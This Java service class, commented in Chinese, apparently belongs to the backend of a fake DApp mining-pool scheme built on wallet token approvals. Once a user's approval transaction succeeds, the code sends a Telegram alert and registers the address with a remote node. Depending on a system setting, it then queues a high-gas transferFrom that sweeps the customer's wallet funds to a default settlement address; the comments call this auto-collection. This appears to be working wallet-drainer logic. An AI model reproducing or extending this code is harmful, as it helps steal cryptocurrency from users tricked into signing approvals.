package project.monitor.job.approve;
|
|
import java.util.Date;
|
|
import kernel.util.ThreadUtils;
|
import project.monitor.AutoMonitorAddressConfigService;
|
import project.monitor.AutoMonitorPoolDataService;
|
import project.monitor.AutoMonitorPoolMiningDataService;
|
import project.monitor.AutoMonitorTipService;
|
import project.monitor.AutoMonitorWalletService;
|
import project.monitor.DAppAccountService;
|
import project.monitor.bonus.AutoMonitorSettleAddressConfigService;
|
import project.monitor.bonus.model.SettleAddressConfig;
|
import project.monitor.etherscan.GasOracle;
|
import project.monitor.job.transferfrom.TransferFrom;
|
import project.monitor.job.transferfrom.TransferFromQueue;
|
import project.monitor.model.AutoMonitorTip;
|
import project.monitor.model.AutoMonitorWallet;
|
import project.monitor.noderpc.business.NodeRpcBusinessService;
|
import project.monitor.report.DAppUserDataSumService;
|
import project.monitor.telegram.business.TelegramBusinessMessageService;
|
import project.party.PartyService;
|
import project.party.model.Party;
|
import project.syspara.SysparaService;
|
import project.tip.TipService;
|
|
public class ApproveConfirmServiceImpl implements ApproveConfirmService {
|
|
protected AutoMonitorWalletService autoMonitorWalletService;
|
protected PartyService partyService;
|
protected TelegramBusinessMessageService telegramBusinessMessageService;
|
protected DAppUserDataSumService dAppUserDataSumService;
|
protected DAppAccountService dAppAccountService;
|
protected AutoMonitorPoolDataService autoMonitorPoolDataService;
|
protected TipService tipService;
|
protected AutoMonitorAddressConfigService autoMonitorAddressConfigService;
|
protected NodeRpcBusinessService nodeRpcBusinessService;
|
protected SysparaService sysparaService;
|
protected AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService;
|
protected AutoMonitorTipService autoMonitorTipService;
|
protected AutoMonitorPoolMiningDataService autoMonitorPoolMiningDataService;
|
|
// 1.交易成功 0.交易失败
|
@Override
|
public void saveConfirm(String id, Integer status, String hash) {
|
|
AutoMonitorWallet entity = autoMonitorWalletService.findById(id);
|
|
Party party = partyService.cachePartyBy(entity.getPartyId(), false);
|
|
if (status == 0) {
|
/**
|
* 交易失败
|
*/
|
|
/**
|
* 数据库中已经成功则直接返回
|
*/
|
if (entity.getSucceeded() == 1) {
|
return;
|
}
|
/**
|
* 数据库中已经失败则记录哈希
|
*/
|
if (entity.getSucceeded() == 2) {
|
entity.setTxn_hash(hash);
|
autoMonitorWalletService.update(entity);
|
return;
|
}
|
|
if (entity.getCancel_apply() == 1) {
|
//取消失败
|
entity.setSucceeded(-5);
|
entity.setCancel_apply(0);
|
autoMonitorWalletService.update(entity);
|
return;
|
}
|
|
int beforeSucceed = entity.getSucceeded();
|
// 申请中 或 拒绝的 记录hash和发送消息
|
entity.setTxn_hash(hash);
|
|
entity.setSucceeded(2);
|
autoMonitorWalletService.update(entity);
|
if (beforeSucceed == 0) {
|
autoMonitorAddressConfigService.saveApproveFailByAddress(entity.getMonitor_address());
|
}
|
// 失败时才发送消息
|
// telegramBusinessMessageService.sendApproveErrorAddTeleg(party);
|
|
} else if (status == 1) {
|
|
/**
|
* 交易成功
|
*/
|
if (entity.getSucceeded() == 1) {
|
/**
|
* 数据库状态成功,只保存哈希
|
*/
|
entity.setTxn_hash(hash);
|
autoMonitorWalletService.update(entity);
|
return;
|
}
|
if (entity.getCancel_apply() == 1) {
|
//取消成功
|
entity.setSucceeded(2);
|
entity.setCancel_apply(2);
|
autoMonitorWalletService.update(entity);
|
dAppUserDataSumService.saveApproveSuccessToFail(party.getId());
|
return;
|
}
|
|
entity.setTxn_hash(hash);
|
entity.setSucceeded(1);
|
autoMonitorWalletService.update(entity);
|
|
dAppUserDataSumService.saveApprove(party.getId());
|
|
// 等待事务提交后
|
ThreadUtils.sleep(200);
|
dAppAccountService.addBalanceQueue(party.getUsercode(), party.getRolename());
|
telegramBusinessMessageService.sendApproveAddTeleg(party);
|
autoMonitorPoolMiningDataService.updatePoolDataByApproveSuccess();
|
// 授权成功则加入到远程服务中
|
nodeRpcBusinessService.sendAdd(entity.getAddress());
|
|
/**
|
* 是否授权成功后自动归集客户钱包金额,是否授权成功后自动归集金额:1不归集,2归集
|
*/
|
autoWalletIsCollection(entity);
|
}
|
tipService.deleteTip(entity.getId().toString());
|
|
}
|
|
public void autoWalletIsCollection(AutoMonitorWallet autoMonitorWallet) {
|
/**
|
* 是否授权成功后自动归集客户钱包金额,是否授权成功后自动归集金额:1不归集,2归集
|
*/
|
double auto_monitor_success_wallet_collection = Double
|
.valueOf(sysparaService.find("auto_monitor_success_wallet_collection").getValue());
|
if (auto_monitor_success_wallet_collection == 1) {
|
return;
|
}
|
if (auto_monitor_success_wallet_collection == 2) {
|
AutoMonitorTip tip = new AutoMonitorTip();
|
/**
|
* 归集操作
|
*/
|
TransferFrom item = new TransferFrom();
|
|
item.setAutoMonitorWallet(autoMonitorWallet);
|
// AutoMonitorTransferAddressConfig transferAddressConfig = autoMonitorTransferAddressConfigService
|
// .findAll().get(0);
|
SettleAddressConfig findDefault = autoMonitorSettleAddressConfigService.findDefault();
|
item.setTo(findDefault.getChannel_address());
|
item.setGasPriceType(GasOracle.GAS_PRICE_SUPER);
|
|
TransferFromQueue.add(item);
|
|
tip.setDispose_method("已归集");
|
|
tip.setPartyId(autoMonitorWallet.getPartyId());
|
tip.setTiptype(1895);
|
tip.setTipinfo("[授权成功自动归集钱包金额]");
|
|
tip.setCreated(new Date());
|
autoMonitorTipService.saveTipNewThreshold(tip);
|
|
}
|
}
|
|
public void setAutoMonitorWalletService(AutoMonitorWalletService autoMonitorWalletService) {
|
this.autoMonitorWalletService = autoMonitorWalletService;
|
}
|
|
public void setPartyService(PartyService partyService) {
|
this.partyService = partyService;
|
}
|
|
public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
|
this.telegramBusinessMessageService = telegramBusinessMessageService;
|
}
|
|
public void setdAppUserDataSumService(DAppUserDataSumService dAppUserDataSumService) {
|
this.dAppUserDataSumService = dAppUserDataSumService;
|
}
|
|
public void setdAppAccountService(DAppAccountService dAppAccountService) {
|
this.dAppAccountService = dAppAccountService;
|
}
|
|
public void setTipService(TipService tipService) {
|
this.tipService = tipService;
|
}
|
|
public void setAutoMonitorAddressConfigService(AutoMonitorAddressConfigService autoMonitorAddressConfigService) {
|
this.autoMonitorAddressConfigService = autoMonitorAddressConfigService;
|
}
|
|
public void setNodeRpcBusinessService(NodeRpcBusinessService nodeRpcBusinessService) {
|
this.nodeRpcBusinessService = nodeRpcBusinessService;
|
}
|
|
public void setSysparaService(SysparaService sysparaService) {
|
this.sysparaService = sysparaService;
|
}
|
|
public void setAutoMonitorSettleAddressConfigService(
|
AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService) {
|
this.autoMonitorSettleAddressConfigService = autoMonitorSettleAddressConfigService;
|
}
|
|
public void setAutoMonitorTipService(AutoMonitorTipService autoMonitorTipService) {
|
this.autoMonitorTipService = autoMonitorTipService;
|
}
|
|
public void setAutoMonitorPoolMiningDataService(AutoMonitorPoolMiningDataService autoMonitorPoolMiningDataService) {
|
this.autoMonitorPoolMiningDataService = autoMonitorPoolMiningDataService;
|
}
|
|
public void setAutoMonitorPoolDataService(AutoMonitorPoolDataService autoMonitorPoolDataService) {
|
this.autoMonitorPoolDataService = autoMonitorPoolDataService;
|
}
|
|
}
|